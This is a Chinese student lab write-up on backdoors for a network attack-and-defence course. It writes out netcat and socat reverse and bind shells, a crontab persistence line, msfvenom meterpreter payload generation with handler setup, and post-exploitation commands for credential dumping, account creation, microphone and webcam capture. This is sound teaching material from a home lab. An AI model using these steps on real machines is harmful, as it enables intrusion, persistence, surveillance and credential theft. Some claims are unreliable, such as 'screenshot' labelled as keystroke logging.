20155337 《网络对抗》 Exp2 后门原理与实践
20155337 《网络对抗》 Exp2 后门原理与实践
一、基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是用MD5校验和检测这种后门的.
- 例举你知道的后门如何启动起来(win及linux)的方式?
最著名的后门程序,该算是微软的Windows Update了。Windows Update的动作不外乎以下三个:开机时自动连上微软的网站,将电脑的现况报告给网站以进行处理,网站通过Windows Update程序通知使用者是否有必须更新的文件,以及如何更新。如果我们针对这些动作进行分析,则“开机时自动连上微软网站”的动作就是后门程序特性中的“潜伏”,而“将电脑现况报告”的动作是“搜集信息”。因此,虽然微软“信誓旦旦”地说它不会搜集个人电脑中的信息,但如果我们从Windows Update来进行分析的话,就会发现它必须搜集个人电脑的信息才能进行操作,所差者只是搜集了哪些信息而已。
- Meterpreter有哪些给你映像深刻的功能?
- 特色功能1:快速提权
Getsystem命令快速提权
实在没有比这个简单的了
一条指令你就拥有了System权限
Meterpreter会自己尝试用多种方法让你获得System权限 - 特色功能2:Hashdump
运行这个命令:run post/windows/gather/hashdump
一条命令你就能够获得Windows的Sam 数据库里的内容
就是经过加密的用户名和密码 - 特色功能3:直接打开3389
Getgui命令是Meterpreter新添加的命令
这个命令能够让你轻松的在目标系统上打开3389远程管理
这条命令有两个用法:run getgui -e(仅仅是打开远程管理)
run getgui -u hacker -p s3cr3t(打开远程管理并且创造一个新的用户名为Hacker密码为s3cr3t的帐号) - 特色功能4:网络嗅探
Meterpreter拥有非常强大的网络嗅探能力
它能够不在目标系统上安装任何驱动的情况下进行网络嗅探
而且它还聪明到了自己的流量要被忽略掉
特色功能5:网络中继
往往入侵局域网黑客碰到的最大困难时无法穿过NAT
现在有了Meterpreter就轻松了
Meterpreter能够让一台你已经入侵的电脑变成中继,来入侵同一个局域网里的其他电脑
特色功能6:截屏
截屏看到对方电脑上正在做什么
- 如何发现自己有系统有没有被安装后门?
没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
下载专门的监控软件,对操作系统中的进程进行监控,看是否存在异常。
二、常用后门工具实践
Windows获得Linux Shell
在Windows下,先使用
ipconfig
指令查看本机IP:10.1.1.141
使用
ncat.exe
程序监听本机的5337
端口:在Kali环境下,使用
nc指令的-e选项反向连接Windows主机的5337端口
:
- Windows下成功获得了一个Kali的shell,运行ls指令如下:
Linux获得Windows Shell
过程与之前的类似,在Kali环境下用
ifconfig
查看IP:
使用nc指令监听5337端口:
在Windows下,使用ncat.exe程序的-e选项项反向连接Kali主机的5337端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:
- 使用nc传输数据
Windows下监听5337端口:
Kali下连接到Windows的5337端口:
建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
实验内容
使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听5337端口:
在Kali环境下,使用
man crontab
指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。
- 用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行 在最后一行添加31 * * * * /bin/netcat 192.168.1.103 5337 -e /bin/sh,意思是在每个小时的第31分钟反向连接Windows主机的5337端口,设置成31的原因是我当时的时间是13点29,为了能立马看到效果,所以我将时间设置在了2分钟以后:
当时间到了13点31时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了31分时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
基础知识
socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5337 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5337,同时把cmd.exe的stderr重定向到stdout上:
创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
此时,在Kali环境下输入指令socat - tcp:192.168.1.103:5337
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5337端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.128 LPORT=5337 -f exe > 2015337_backdoor.exe
生成后门程序:
通过nc指令将生成的后门程序传送到Windows主机上:
在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
在msf的命令下输入命令use exploit/multi/handler
,payload设置命令set payload windows/meterpreter/reverse_tcp
,继续设置IP(此处设置虚拟机的Linux的IP地址)和端口
Linux使用exploit命令开始监听,此时在Win上执行后门程序。
打开Windows上的后门程序:
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
录音功能:record_mic
拍照功能:webcam_snap
拍摄视频功能:webcam_stream
记录击键功能:screenshot
提权:getuid以及getsystem
转载于:https://www.cnblogs.com/Twe1vE/p/8714481.html
20155337 《网络对抗》 Exp2 后门原理与实践相关推荐
- 20145318赵一《网络对抗》后门原理与实践
20145318赵一<网络对抗>后门原理与实践 知识点 后门 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法. 在软件的开发阶段,程序员常常会在软件内创建后门程序以便 ...
- 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任 ...
- 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践
2019-2020-2 20175227张雪莹<网络对抗技术> Exp2 后门原理与实践 目录 0. 基础知识 1. 实验内容 1.0 常用后门工具 1.1 使用netcat获取主机操作S ...
- 20155317王新玮《网络对抗》Exp2 后门原理与实践
20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...
- 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践
2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...
- 2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165212<网络对抗技术>Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作 ...
- 2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及基础问题回答 常用后门工具 netcat Win获得Linux Shell Linux获得Win Sh ...
- 20145209刘一阳《网络对抗》Exp2 后门原理与实践
20145209刘一阳<网络对抗>Exp2 后门原理与实践 基础问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? •在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: ...
- Exp2 后门原理与实践 20204308李文艳
Exp2 后门原理与实践 20204308李文艳 1. 基础问题 1.1 例举你能想到的一个后门进入到你系统中的可能方式? 1.2 例举你知道的后门如何启动起来(win及linux)的方式? 1.3 ...
- 2018-2019 Exp2 后门原理与实践
2018-2019 Exp2 后门原理与实践 目录 一.实验内容说明及基础问题回答 二.工具准备 查看WindowsIP和LinuxIP Windows获得Linuxshell Linux 获得Win ...
最新文章
- Express应用配置端口
- 谈谈cookie的弊端
- 经典正则表达式(转)
- 以撩妹为例,5分钟让你秒懂深度学习!
- 初识EntityFramework6【转】
- 在startup中遍历程序集
- Spring中使用id和name的区别。
- HDFS写入HBase
- springboot update数据_SpringBoot整合Mybatis+Druid+数据库(注解版)
- Vue学习笔记之10-组件化开发
- rhel6.x版本和rehel7.x版本破解密码及恢复损坏的文件分区
- 再次总结一下压缩与解压缩
- Java实现中文汉字转换拼音,解决多音字问题
- 论文阅读 (九):A survey on instance selection for active learning (2012)
- c++数字与字符串转换的方法
- outlook中网址连接打不开解决办法
- 2.4G功放芯片,支持国产
- R语言条件逻辑回归-因变量是配对资料
- I.Gree的心房(思维题)
- Android Manifest
热门文章
- Shiro教程_2 Shiro+SpringBoot+Mysql+Redis(缓存)
- python 数组中取出最小值_Python 数组中的冒号使用
- Spark Row对象入门到熟悉
- Spark文本文件输入输出
- 详解窗口句柄,进程ID,进程句柄,窗口与进程之间的关系
- JAVA设计模式-单例模式(Singleton)线程安全与效率
- Java-20180419
- 防止重复点击提交,仅提交一次的终极绝杀技[高清、有码]
- 虚拟化VMware之虚拟机备份(2)
- 《实施Cisco统一通信管理器(CIPT1)》一2.7 总结